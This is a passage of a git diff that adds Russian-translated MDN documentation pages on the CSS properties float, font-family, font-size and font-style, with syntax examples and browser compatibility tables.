+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+&lt;/div&gt;
+</pre>
+
+<div style="border: solid red; max-width: 70ex;">
+<h4 id="HELLO!" style="float: left; margin: 0;">HELLO!</h4>
+This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text. This is some text.</div>
+
+<h3 id="How_floats_are_positioned">How floats are positioned</h3>
+
+<p>As mentioned above, when an element is floated it is taken out of the normal flow of the document. It is shifted to the left or right until it touches the edge of it's containing box <em>or another floated element</em>.</p>
+
+<p>In the image below, there are three red squares. Two are floated left and one is floated right. Note that the second "left" red square is placed to the right of the first. Additional squares would continue to stack to the right until they filled the containing box, after which they would wrap to the next line.</p>
+
+<p><img src="/@api/deki/files/4927/=floats.png" style="height: 248px; width: 729px;"></p>
+
+<h3 id="Clearing_floats">Clearing floats</h3>
+
+<p>In the example above, the floated elements are shorter vertically than the block of text they're floated within. However, if the text was not long enough to wrap below the bottom of all the floats, we might see unanticipated effects. If the paragraph above, for instance, only read "Lorem ipsum dolor sit amet," and was followed by another heading of the same style as the "Floats Example" heading, the second heading would appear between the red boxes. Most likely, we want the next heading to be aligned all the way to the left. To accomplish that, we'd need to clear the floats.</p>
+
+<p>The simplest way to clear the floats in this example is to add the {{Cssxref("clear")}} property to the new heading we want to be sure is aligned left:</p>
+
+<pre class="brush:css">h2.secondHeading { clear: both; }
+</pre>
+
+<p>However, this method only works if there are no other elements within the same <a href="/ru/docs/Web/CSS/block_formatting_context" rel="internal">block formatting context</a> that we <em>do</em> want the heading to continue to appear next to horizontally. If our <code>H2</code> has siblings which are a sidebars floated to the left and right, using <code>clear</code> will force it to appear below both sidebars, which is probably not what we want.</p>
+
+<p>If clearing floats on an element below them is not an option, another approach is to limit the block formatting context of the floats' container. Referring to the example above again, it appears that all three red boxes are within a <code>P</code> element. We can set the {{Cssxref("overflow")}} property on that P to <code>hidden</code> or <code>auto</code> to cause it to expand to contain them, but not allow them to drop out the bottom of it:</p>
+
+<pre class="brush:css">p.withRedBoxes { overflow: hidden; height: auto; }
+</pre>
+
+<div class="note"><strong>Note:</strong> Setting <code>overflow</code> to <code>scroll</code> will also contain any floated child elements, but will show scrollbars no matter the height of the content. Here we're setting <code>height</code> to <code>auto</code> even though that's the default to indicate that the container should grow to accommodate its content.</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#float', 'float')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Lots of new values, not all clearly defined yet. Any differences in behavior unrelated to new features are expected to be unintentional; please report.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#float', 'float')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/block_formatting_context">Block formatting context</a></li>
+</ul>
diff --git a/files/ru/web/css/font-family/index.html b/files/ru/web/css/font-family/index.html
new file mode 100644
index 0000000000..6af65ea731
--- /dev/null
+++ b/files/ru/web/css/font-family/index.html
@@ -0,0 +1,233 @@
+---
+title: font-family
+slug: Web/CSS/font-family
+tags:
+  - CSS
+  - CSS свойства
+  - CSS свойство
+  - семейства-шрифтов
+translation_of: Web/CSS/font-family
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS свойство <strong><code>font-family</code></strong> определяет приоритетный список из одного или нескольких названий семейства шрифтов и/или общее имя шрифта для выбранного элемента.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-family.html")}}</div>
+
+
+
+<p>Значения разделены запятыми, чтобы указать, что они являются альтернативами. Браузер выберет из списка первый шрифт, который установлен или может быть скачан используя правило {{cssxref("@font-face")}} .</p>
+
+<p>Часто удобно использовать сокращённое свойство {{cssxref("font")}}, чтобы задать <code>font-size</code> и другие свойства, которые относятся к шрифту.</p>
+
+<p>Вы всегда должны добавлять по крайней мере одно имя общего семейства шрифтов, так как нет гарантии, что какой-либо из указанных шрифтов будет доступен. Это позволит браузеру выбрать подходящий запасной шрифт, когда возникнет необходимость.</p>
+
+<p>Свойство <code>font-family</code> определяет список шрифтов в приоритете от высшего к низшему. Процесс выбора шрифта не останавливается после первого шрифта, найденного в системе пользователя. Скорее, выбор шрифта выполняется <em>по одному символу за раз</em>, поэтому если в доступном шрифте нет глифы для нужного символа, пробуются следующие по списку шрифты. (Однако, это не работает в Internet Explorer 6 и ранее.) Когда шрифт доступен только в некоторых {{cssxref('font-style','стилях')}}, {{cssxref('font-variant','видах')}} или {{cssxref('font-size','размерах')}}, эти свойства могут так же влиять на выбор шрифта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Имя шрифта и общие семейства шрифтов */
+font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* Только общие семейства */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+font-family: emoji;
+font-family: math;
+font-family: fangsong;
+
+/* Глобальные значения */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+</pre>
+
+<p>Свойство <code>font-family</code> получает список из одного или более семейства шрифтов, разделённые запятыми. Каждое семейство шрифтов определяется как <code><a href="#&lt;family-name>">&lt;family-name&gt;</a></code> или <code><a href="#&lt;generic-name>">&lt;generic-name&gt;</a></code>.</p>
+
+<p>В приведенном ниже примере перечислены два семейства шрифтов, первое <code><a href="#&lt;family-name>">&lt;family-name&gt;</a></code>, а второе как <code>&lt;generic-name&gt;</code>:</p>
+
+<pre class="brush: css">font-family: Gill Sans Extrabold, sans-serif;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><a id="&lt;family-name>" name="&lt;family-name>"><code>&lt;family-name&gt;</code></a></dt>
+ <dd>Имя семейства шрифтов. К примеру, "Times" и "Helvetica" это семейства шрифтов. Названия семейства шрифтов, которые содержат пробелы, должны быть взяты в кавычки.</dd>
+ <dt><a id="&lt;generic-name>" name="&lt;generic-name>"><code>&lt;generic-name&gt;</code></a></dt>
+ <dd>
+ <p>Общие семейства шрифтов используются как резервный механизм для сохранения некоторого авторского стиля в момент, когда ни один из желаемых шрифтов недоступен. Общие семейства шрифтов являются ключевыми словами и <strong>не</strong> должны браться в кавычки. Общее семейство шрифтов должно определяться последним в списке семейств шрифтов. Определены следующие ключевые слова:</p>
+
+ <dl>
+  <dt><code>serif</code></dt>
+  <dd style="font-family: serif;">Глифы имеют завершающие штрихи, расширяющиеся или сужающиеся концы, или имеют фактически зазубренные окончания.<br>
+  Например, "<span style="font-family: lucida bright,serif;">Lucida Bright"</span>, "<span style="font-family: lucida fax,serif;">Lucida Fax"</span>, <span style="font-family: palatino,serif;">Palatino</span>, <span style="font-family: palatino linotype,serif;">"Palatino Linotype"</span>, <span style="font-family: palladio,serif;">Palladio</span>, <span style="font-family: urw palladio,serif;">"URW Palladio"</span>, <span style="font-family: serif;">serif</span>.</dd>
+  <dt><code>sans-serif</code></dt>
+  <dd style="font-family: sans-serif;">Глифы имеют гладкие окончания.<br>
+  Например, <span style="font-family: open sans,sans-serif;">"Open Sans"</span>, <span style="font-family: fira sans,sans-serif;">"Fira Sans"</span>, <span style="font-family: lucida sans,sans-serif;">"Lucida Sans"</span>, <span style="font-family: lucida sans unicode,sans-serif;">"Lucida Sans Unicode"</span>, <span style="font-family: trebuchet ms,sans-serif;">"Trebuchet MS"</span>, <span style="font-family: liberation sans,sans-serif;">"Liberation Sans"</span>, <span style="font-family: nimbus sans l,sans-serif;">"Nimbus Sans L"</span>, <span style="font-family: sans-serif;">sans-serif</span>.</dd>
+  <dt><code>monospace</code></dt>
+  <dd style="font-family: monospace;">Все глифы имеют одинаковую фиксированную ширину.<br>
+  Например, <span style="font-family: fira mono,monospace;">"Fira Mono"</span>, <span style="font-family: dejavu sans mono,monospace;">"DejaVu Sans Mono"</span>, <span style="font-family: menlo,monospace;">Menlo</span>, <span style="font-family: consolas,monospace;">Consolas</span>, <span style="font-family: liberation mono,monospace;">"Liberation Mono"</span>, <span style="font-family: monaco,monospace;">Monaco</span>, <span style="font-family: lucida console,monospace;">"Lucida Console"</span>, <span style="font-family: monospace;">monospace.</span></dd>
+  <dt><code>cursive</code></dt>
+  <dd style="font-family: cursive;">Глифы в курсивных шрифтах обычно имеют либо соединительные штрихи, либо другие рукописные характеристики, отличные от наклонных (italic) шрифтов. Глифы частично или полностью связаны, и результат больше напоминает рукописное перо или кисть, чем печатные буквы. Например, <span style="font-family: brush script mt,cursive;">"Brush Script MT</span>", <span style="font-family: brush script std,cursive;">"Brush Script Std</span>", <span>"Lucida Calligraphy"</span>, <span>"Lucida Handwriting"</span>, <span style="font-family: apple chancery,cursive;">"Apple Chancery"</span>, <span style="font-family: cursive;">cursive</span>.</dd>
+  <dt><code>fantasy</code></dt>
+  <dd style="font-family: fantasy;">Фэнтезийные шрифты - это прежде всего декоративные шрифты, которые содержат игривое представление персонажей. Например, <span style="font-family: papyrus,fantasy;">Papyrus</span>, <span style="font-family: herculanum,fantasy;">Herculanum</span>, <span style="font-family: party let,fantasy;">Party LET</span>, <span style="font-family: curlz mt,fantasy;">Curlz MT</span>, <span style="font-family: harrington,fantasy;">Harrington</span>, <span style="font-family: fantasy;">fantasy</span>.</dd>
+  <dt><code>system-ui</code></dt>
+  <dd>Глифы, взятые из дефолтного шрифта пользовательского интерфейса на данной платформе. Поскольку типографские традиции широко варьируются по всему миру, это общее семейство предназначено для гарнитур, которые не отображаются точно в других общих семействах.</dd>
+  <dt><code>math</code></dt>
+  <dd>Это семейство предназначено для особых стилистических задач представления математики: верхний индекс и нижний индекс, скобки, которые пересекают несколько строк, вложенные выражения и двойные глифы с различными значениями.</dd>
+  <dt><code>emoji</code></dt>
+  <dd>Шрифты, специально предназначенные для отображения эмодзи.</dd>
+  <dt><code>fangsong</code></dt>
+  <dd>Особый стиль китайских иероглифов, который является чем-то средним между стилем с засечками Song и курсивным стилем Кай. Этот стиль часто используется для правительственных документов.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Валидные_имена_семейства_шрифтов">Валидные имена семейства шрифтов</h3>
+
+<p>Имена семейств шрифтов должны быть указаны либо в виде строк в кавычках, либо в виде последовательности одного или нескольких идентификаторов без кавычек. Если имя семейства шрифтов содержит цифры или знаки пунктуации, такое имя должно быть заключено в кавычки.</p>
+
+<p>Например, следующие объявления являются валидными:</p>
+
+<pre class="brush:css">font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;</pre>
+
+<p>Следующие объявления являются <strong>не валидными</strong>:</p>
+
+<pre class="brush:css example-bad">font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;</pre>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Некоторые_общие_семейства_шрифтов">Некоторые общие семейства шрифтов</h3>
+
+<pre class="brush: css;">.serif {
+  font-family: Times, Times New Roman, Georgia, serif;
+}
+
+.sansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.monospace {
+  font-family: Lucida Console, Courier, monospace;
+}
+
+.cursive {
+  font-family: cursive;
+}
+
+.fantasy {
+  font-family: fantasy;
+}
+
+.emoji {
+  font-family: emoji;
+}
+
+.math {
+  font-family: math;
+}
+
+.fangsong {
+  font-family: fangsong;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html;">&lt;div class="serif"&gt;
+  This is an example of a serif font.
+&lt;/div&gt;
+
+&lt;div class="sansserif"&gt;
+  This is an example of a sans-serif font.
+&lt;/div&gt;
+
+&lt;div class="monospace"&gt;
+  This is an example of a monospace font.
+&lt;/div&gt;
+
+&lt;div class="cursive"&gt;
+  This is an example of a cursive font.
+&lt;/div&gt;
+
+&lt;div class="fantasy"&gt;
+  This is an example of a fantasy font.
+&lt;/div&gt;
+
+&lt;div class="math"&gt;
+  This is an example of a math font.
+&lt;/div&gt;
+
+&lt;div class="emoji"&gt;
+  This is an example of an emoji font.
+&lt;/div&gt;
+
+&lt;div class="fangsong"&gt;
+  This is an example of a fangsong font.
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Некоторые_общие_семейства_шрифтов','600','120') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Добавляет новые общие семейства шрифтов, в частности: <code>system-ui</code>, <code>emoji</code>, <code>math</code>, and <code>fangsong</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>Никаких существенных изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Никаких существенных изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-family', 'font-familiy')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.font-family")}}</p>
+
+<p>[1] <code>system-ui</code> в данный момент не реализовано, смотри {{bug(1226042)}}.</p>
+
+<p>[2] <code>system-ui</code> реализовано в Safari (<a href="https://bugs.webkit.org/show_bug.cgi?id=151493">wkbug.com/151493</a>), возможно будет выпущено в ближайшем времени.</p>
+
+<p>[3] префиксный алиас <code>-apple-system</code> поддерживается в Safari, начиная с OS X 10.11 и iOS 9, а также в Firefox 43 на macOS ({{bug(1201318)}}).</p>
diff --git a/files/ru/web/css/font-size/index.html b/files/ru/web/css/font-size/index.html
new file mode 100644
index 0000000000..08e99d25d8
--- /dev/null
+++ b/files/ru/web/css/font-size/index.html
@@ -0,0 +1,300 @@
+---
+title: font-size
+slug: Web/CSS/font-size
+tags:
+  - CSS
+  - CSS свойства
+  - css шрифты
+translation_of: Web/CSS/font-size
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> Свойство <strong><code>font-size</code></strong> определяет размер шрифта. Это свойство также используется для вычисления размера<code> em</code>, <code>ex</code> и других относительных единиц. Подробнее: {{cssxref("&lt;length&gt;")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/font-size.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css">/* значения в &lt;абсолютных размерах&gt; */
+font-size: xx-small;
+font-size: x-small;
+font-size: small;
+font-size: medium;
+font-size: large;
+font-size: x-large;
+font-size: xx-large;
+
+/* значения в &lt;относительных размерах&gt; */
+font-size: larger;
+font-size: smaller;
+
+/* &lt;значения длины&gt; */
+font-size: 12px;
+font-size: 0.8em;
+
+/* &lt;процентные значения&gt; */
+font-size: 80%;
+
+/* Глобальные значения */
+font-size: inherit;
+font-size: initial;
+font-size: unset;
+</pre>
+
+<p>Свойство <code>font-size</code> устанавливается одним из следующих способов:</p>
+
+<ul>
+ <li>Ключевым словом из перечня  <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-size$edit#absolute-size">абсолютных значений</a> или <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-size$edit#relative-size">относительных значений</a></li>
+ <li>Как <code>&lt;значение длины&gt;</code> или <code>&lt;процентное значение&gt;</code>, по отношению к размеру родительского элемента.</li>
+</ul>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>xx-small, x-small, small, medium, large, x-large, xx-large</code></dt>
+ <dd>Набор ключевых слов абсолютных значений, по отношению к пользовательскому размеру шрифта по умолчанию (им считается <code>medium</code> - среднее).</dd>
+ <dt><code>larger, smaller</code></dt>
+ <dd>Больше (larger) или меньше (smaller). Ключевые слова для относительного размера. Шрифт будет больше или меньше по отношению в размеру шрифта родительского элемента.Примерно на такое же соотношение, которое используется в ключевых словах абсолютного размера выше.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>
+ <p>Положительное значение длины {{cssxref("&lt;length&gt;")}}. Для большинства единиц измерения, зависимых от шрифта (таких как <code>em</code> и <code>ex</code>), размер шрифта будет зависеть от размера шрифта родительских элементов.</p>
+
+ <p>Для единиц измерения, зависимых от шрифта, которые зависят от корневых единиц (таких как <code>rem</code>), размер шрифта будет коррелироваться по отношению к шрифту, используемому корневым элементом  {{HTMLElement("html")}} (root).</p>
+ </dd>
+ <dt><code>&lt;процентные значения&gt;</code></dt>
+ <dd>Положительное процентное {{cssxref("&lt;percentage&gt;")}} значение по отношению к размеру шрифта родительского элемента.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Для обеспечения максимальной совместимости обычно лучше использовать значения, относящиеся к размеру шрифта пользователя по умолчанию.</p>
+</div>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Possible_approaches" name="Possible_approaches">Возможные подходы</h2>
+
+<p>Существуют разные способы задания размера шрифта. С помощью ключевых слов или с помощью числовых значений для размера пикселей или размера ems.  Выберите подходящий метод в зависимости от потребностей конкретной веб-страницы.</p>
+
+<h3 id="Keywords" name="Keywords">Ключевые слова</h3>
+
+<p>Keywords are a good way to set the size of fonts on the web. By setting a keyword font size on the body element, you can set relative font-sizing everywhere else on the page, giving you the ability to easily scale the font up or down on the entire page accordingly.</p>
+
+<h3 id="Pixels" name="Pixels">Pixels</h3>
+
+<p>Setting the font size in pixel values (<code>px</code>) is a good choice when you need pixel accuracy. A px value is static. This is an OS-independent and cross-browser way of literally telling the browsers to render the letters at exactly the number of pixels in height that you specified. The results may vary slightly across browsers, as they may use different algorithms to achieve a similar effect.</p>
+
+<p>Font sizing settings can also be used in combination. For example, if a parent element is set to <code>16px</code> and its child element is set to <code>larger</code>, the child element displays larger than the parent element in the page.</p>
+
+<div class="note"><strong>Note:</strong> Defining font sizes in pixel is <em><a href="https://en.wikipedia.org/wiki/Web_accessibility">not accessible</a></em>, because the user cannot change the font size from the browser. (For example, users with limited vision may wish to set the font size much larger than the size chosen by a web designer.) Therefore, avoid using pixels for font sizes if you wish to create an inclusive design.</div>
+
+<h3 id="Ems" name="Ems">Ems</h3>
+
+<p>Another way of setting the font size is with <code>em</code> values. The size of an <code>em</code> value is dynamic. When defining the <code>font-size</code> property, an em is equal to the size of the font that applies to the parent of the element in question. If you haven't set the font size anywhere on the page, then it is the browser default, which is probably 16px. So, by default 1em = 16px, and 2em = 32px. If you set a <code>font-size</code> of 20px on the body element, then 1em = 20px and 2em = 40px. Note that the value 2 is essentially a multiplier of the current em size.</p>
+
+<p>In order to calculate the em equivalent for any pixel value required, you can use this formula:</p>
+
+<pre>em = desired element pixel value / parent element font-size in pixels</pre>
+
+<p>For example, suppose the font-size of the body of the page is set to 1em, with the browser standard of 1em = 16px; if the font-size you want is 12px, then you should specify 0.75em (because 12/16 = 0.75). Similarly, if you want a font size of 10px, then specify 0.625em (10/16 = 0.625); for 22px, specify 1.375em (22/16).</p>
+
+<p>A popular technique to use throughout the document is to set the the font-size of the body to 62.5% (that is 62.5% of the default of 16px), which equates to 10px, or 0.625em. Now you can set the font-size for any elements using em units, with an easy-to-remember conversion, by dividing the px value by 10. This way 6px = 0.6em, 8px = 0.8em, 12px = 1.2em, 14px = 1.4em, 16px = 1.6em. For example:</p>
+
+<pre class="brush:css">body {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6em; /* 1.6em = 16px */
+}</pre>
+
+<p>The em is a very useful unit in CSS, since it automatically adapts its length relative to the font that the reader chooses to use.</p>
+
+<p>One important fact to keep in mind:  em values compound. Take the following HTML and apply it with the previous CSS above:</p>
+
+<pre class="brush: html">&lt;div&gt;
+&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>The result is:</p>
+
+<p>{{EmbedLiveSample("Ems", 400, 40)}}</p>
+
+<p>Assuming that the browser's default <code>font-size</code> is 16px, the words "outer" would be rendered at 16px, but the word "inner" would be rendered at 25.6px. This is because the inner span's <code>font-size</code> is 1.6 em which is relative to its parent's <code>font-size</code>, which is in turn relative to its parent's <code>font-size</code>. This is often called <strong>compounding</strong>.</p>
+
+<h3 id="Rems" name="Rems">Rems</h3>
+
+<p><code>rem</code> values were invented in order to sidestep the compounding problem. <code>rem</code> values are relative to the root <code>html</code> element, not the parent element. In other words, it lets you specify a font size in a relative fashion without being affected by the size of the parent, thereby eliminating compounding.</p>
+
+<p>The CSS below is nearly identical to the previous example. The only exception is that the unit has been changed to <code>rem</code>.</p>
+
+<pre class="brush: css">html {
+  font-size: 62.5%; /* font-size 1em = 10px on default browser settings */
+}
+span {
+  font-size: 1.6rem;
+}
+</pre>
+
+<p>Then we apply this CSS to the same HTML, which looks like this:</p>
+
+<pre class="brush: html">&lt;span&gt;Outer &lt;span&gt;inner&lt;/span&gt; outer&lt;/span&gt;</pre>
+
+<p>{{EmbedLiveSample("Rems", 400, 40)}}</p>
+
+<p>In this example, the words "outer inner outer" are all displayed at 16px (assuming that the browser's font-size has been left at the default value of 16px).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_1" name="Example_1">Пример 1</h3>
+
+<pre class="brush: css">/* Set paragraph text to be very large. */
+p { font-size: xx-large }
+
+/* Set h1 (level 1 heading) text to be 2.5 times the size
+ * of the text around it. */
+h1 { font-size: 250% }
+
+/* Sets text enclosed within span tag to be 16px */
+span { font-size: 16px; }
+</pre>
+
+<h3 id="Пример_2">Пример 2</h3>
+
+<pre class="brush: css">.small {
+	font-size: xx-small;
+}
+.larger {
+	font-size: larger;
+}
+.point {
+	font-size: 24pt;
+}
+.percent {
+	font-size: 200%;
+}
+</pre>
+
+<pre class="brush: html"><span>&lt;h1 class="small"&gt;Small H1&lt;/h1&gt;
+&lt;h1 class="larger"&gt;Larger H1&lt;/h1&gt;</span>
+<span>&lt;h1 class="point"&gt;24 point H1&lt;/h1&gt;
+&lt;h1 class="percent"&gt;200% H1&lt;/h1&gt;</span></pre>
+
+<h4 id="Live_Sample">Live Sample</h4>
+
+<p>{{EmbedLiveSample('%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80_2','600','200')}}</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p><code>em</code> and <code>ex</code> units on the {{Cssxref("font-size")}} property are relative to the parent element's font size (unlike all other properties, where they're relative to the font size on the element). This means <code>em</code> units and percentages do the same thing for {{Cssxref("font-size")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-size-prop', 'font-size')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'font-size')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>font-size</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-size', 'font-size')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-size', 'font-size')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>5.5</td>
+   <td>7.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>Rem values</td>
+   <td>31.0</td>
+   <td>31.0</td>
+   <td>9<sup>[1]</sup><br>
+    11</td>
+   <td>28.0</td>
+   <td>7.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>
+    <p>1.0</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Rem values</td>
+   <td>4.1</td>
+   <td>42</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 9 and 10 only had partial support for this feature.</p>
diff --git a/files/ru/web/css/font-style/index.html b/files/ru/web/css/font-style/index.html
new file mode 100644
index 0000000000..8ccd637b99
--- /dev/null
+++ b/files/ru/web/css/font-style/index.html
@@ -0,0 +1,106 @@
+---
+title: font-style
+slug: Web/CSS/font-style
+tags:
+  - Ссылка
+  - шрифт
+translation_of: Web/CSS/font-style
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-style</code></strong> это CSS свойство определяющее каким образом шрифт должен быть стилизирован, будь то это normal, italic, или oblique face из его {{cssxref("font-family")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-style.html")}}</div>
+
+<p><strong>Italic</strong> шрифты в общем курсивные по своей сути, обычно занимают меньше горизонтального пространства чем их нестилизированные копии, тогда как <strong>oblique</strong> шрифты обычно просто наклонная версия регулярного шрифта. Когда определённый стиль не доступен, оба italic и oblique шрифты симулируются искусственно наклоняя глифы регулярного шрифта (используйте {{cssxref("font-synthesis")}} для управления этим поведением).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">font-style: normal;
+font-style: italic;
+font-style: oblique;
+
+/* Глобальные значения */
+font-style: inherit;
+font-style: initial;
+font-style: unset;
+</pre>
+
+<p>Свойство <code>font-style</code> определяется как единственное ключевое слово выбранное из списка значений внизу.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Выделяет шрифт который классифицирован как <code>normal</code> в {{Cssxref("font-family")}}.</dd>
+ <dt><code>italic</code></dt>
+ <dd>Выделяет шрифт который классифицирован как  <code>italic</code>. Если не доступна курсивная версия шрифта, взамен используется <code>oblique</code> классификация. Если не одна версия не доступна, то стиль симулируется искусственно.</dd>
+ <dt><code>oblique</code></dt>
